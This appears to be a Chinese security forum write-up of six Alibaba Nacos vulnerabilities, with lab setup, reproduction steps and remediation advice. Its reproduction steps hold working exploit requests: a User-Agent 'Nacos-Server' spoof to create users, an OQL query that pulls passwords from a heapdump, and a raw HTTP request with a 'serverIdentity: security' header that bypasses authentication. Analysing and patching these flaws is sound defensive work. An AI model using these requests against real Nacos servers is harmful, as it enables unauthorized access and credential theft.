Alibaba Nacos安全漏洞深度解析与应对策略

基本介绍

Nacos是一个用于动态服务发现、配置管理和服务治理的开源平台,由阿里巴巴公司贡献。Nacos提供了基于DNS和HTTP的服务发现能力,支持多种注册中心和数据存储方式,包括自身内置的Raft协议和外部的MySQL、Redis等数据存储

功能模块

Nacos主要包括以下几个模块:

  • 注册中心:负责服务注册和发现,提供高可用、可扩展、动态化的服务注册与发现能力。
  • 配置中心:提供统一的配置管理平台,可以动态地对服务进行配置管理和发布,支持灰度发布和版本管理等功能。
  • 服务管理:提供服务健康状态检查、流量管理等功能,支持服务降级、容错处理等机制,保证了系统的高可用性和稳定性。
  • 命名空间:提供了多租户的支持,可以在同一个集群中为不同的应用程序创建不同的命名空间来隔离彼此。
  • 权限管理:提供了基于角色的权限管理机制,可以实现精细化的权限控制,保证了服务的安全性和可控性。

Nacos可以广泛应用于微服务架构、云原生应用、DevOps等场景,为企业级应用提供了一套完整的服务发现和治理方案。

追逐旅程

A、Alibaba Nacos任意用户创建

影响范围

Nacos <= 2.0.0-ALPHA.1

漏洞类型

权限认证绕过

环境搭建

下载安装文件:

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

图片[1]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后执行以下命令启动环境:

./startup.sh -m standalone
图片[2]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

图片[3]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

漏洞复现

Step 1:查看用户列表

http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
图片[4]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 2:添加用户Al1ex


http://your-ip:8848/nacos/v1/auth/users
        
POST:
Nacos-Server
.......

username=Al1ex&password=Al1ex
图片[5]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 3:登录测试

图片[6]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

成功登录:

图片[7]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

漏洞分析

Nacos-Server是用来进行服务间的通信的白名单,比如服务A要访问服务B,如何知道服务A是服务,只需要在服务A访问服务B的时候UA上写成Nacos-Server即可,所以当我们UA恶意改为Nacos-Server的时候,就会被误以为是服务间的通信,因此在白名单当中从而绕过认证,下面我们来看一下关键的处理逻辑位置TrafficReviseFilter.java中的doFilter的设计,在这里可以看到当接收到其他节点服务的请求时应该被pass:

图片[8]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

关键的判断逻辑如下:

      if (StringUtils.startsWith(agent, Constants.NACOS_SERVER_HEADER)) {
            filterChain.doFilter(req, resp);
            return;
        }

之后对Constants.NACOS_SERVER_HEADER进行跟踪,之后确定为Nacos-Server:

图片[9]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

参考链接

https://github.com/alibaba/nacos/issues/4593

B、Alibab Nacos未授权登录后台

影响范围

Nacos <= 2.1.0 version

漏洞说明

Nacos使用了默认的JWT key导致的未授权访问漏洞,通过该漏洞攻击者可以绕过用户名和密码验证直接登录到nacos用户后台

漏洞复现

Step 1:直接访问Nacos网站,填写任意用户名密码并使用Burpsuite抓包

图片[10]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 2:之后拦截回显数据包,回显数据包如下

图片[11]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 3:修改回显数据包状态403为200并修改回显数据信息

图片[12]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 4:释放数据包后成功登录

图片[13]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

漏洞POC

https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login

图片[14]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

C、Alibab Nacos账号密码获取

影响范围

Alibab Nacos *

漏洞概述

SpringBoot框架下拥有一个Actuator用来提供对应用系统进行自省和监控的功能模块,借助于Actuator开发者可以很方便地对应用系统某些监控指标进行查看、统计等,在Actuator启用的情况下如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,其中Spring Boot 1.x版本默认在Url根目录下,Spring Boot 2.x版本端点移动到/actuator/路径

Alibab Nacos如果是在sping boot框架下搭建,那么将会继承spring boot本身带有的信息泄露漏洞,攻击者可以通过此漏洞获取Alibab Nacos账号密码

漏洞复现

Step 1:Nacos继承自Spring Boot的目录如下:

/nacos/actuator
/nacos/actuator/auditevents
/nacos/actuator/beans
/nacos/actuator/caches
/nacos/actuator/conditions
/nacos/actuator/configprops
/nacos/actuator/env
/nacos/actuator/health
/nacos/actuator/info
/nacos/actuator/httptrace
/nacos/actuator/mappings  
/nacos/actuator/metrics
/nacos/actuator/scheduledtasks
/nacos/actuator/loggers
/nacos/actuator/threaddump  
/nacos/actuator/prometheus
/nacos/actuator/heapdump

Step 2:访问/env接口确定漏洞是否存在

图片[15]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 3:调用/heapdump接口下载heapdump文件

图片[16]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 4:使用MemoryAnalyzer(https://www.eclipse.org/mat/downloads.php)内存查看工具分析headdump

图片[17]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 5:执行以下OQL语句获得密码

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
图片[18]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 6:如果可以获取到用户名那边就可以直接登录

http://x.x.x.x/nacos/v1/auth/users?pageNo=1&pageSize=1

图片[19]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

D、Alibaba Nacos注册用户枚举

影响范围

Nacos < 2.2.0 

漏洞类型

权限认证绕过

利用条件

影响范围应用

漏洞概述

Alibaba Nacos注册用户枚举

环境搭建

下载安装文件:

https://github.com/alibaba/nacos/releases

图片[20]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后执行以下命令启动环境:

./startup.sh -m standalone
图片[21]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

图片[22]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

漏洞复现

查看用户列表

http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
图片[23]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

安全建议

升级到2.2.0版本之后

图片[24]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

E、Alibaba Nacos任意用户密码重置

影响范围

Nacos <= 2.2.0

漏洞类型

任意用户密码重置

漏洞概述

Alibaba Nacos任意用户密码重置

环境搭建

下载安装文件:

https://github.com/alibaba/nacos

图片[25]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后执行以下命令启动环境:

图片[26]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

图片[27]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

漏洞复现

Step 1:获取用户名

图片[28]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 2:发送一下请求数据包重置密码

POC:https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Reset-PWD

图片[29]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

Step 3:登录

图片[30]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

F、Alibaba Nacos ServerIdentity权限绕过

影响范围

Nacos <= 2.2.0

漏洞概述

Nacos能让您从微服务平台建设的视角管理数据中心的所有服务及元数据,包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略。Nacos平台在Header中添加serverIdentity: security能直接绕过身份验证查看用户列表

漏洞复现

使用POC和serverIdentity: security查看当前用户名和密码

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 
Accept-Encoding: gzip, deflate 
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
serverIdentity: security
图片[31]-Alibaba Nacos安全漏洞深度解析与应对策略-山海云端论坛

安全建议

1、应用切换内网

2、更新到最新版本:https://github.com/alibaba/nacos/releases/tag/2.2.0.1

3、更改application.properties文件中token.secret.key默认值具体更改方法可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容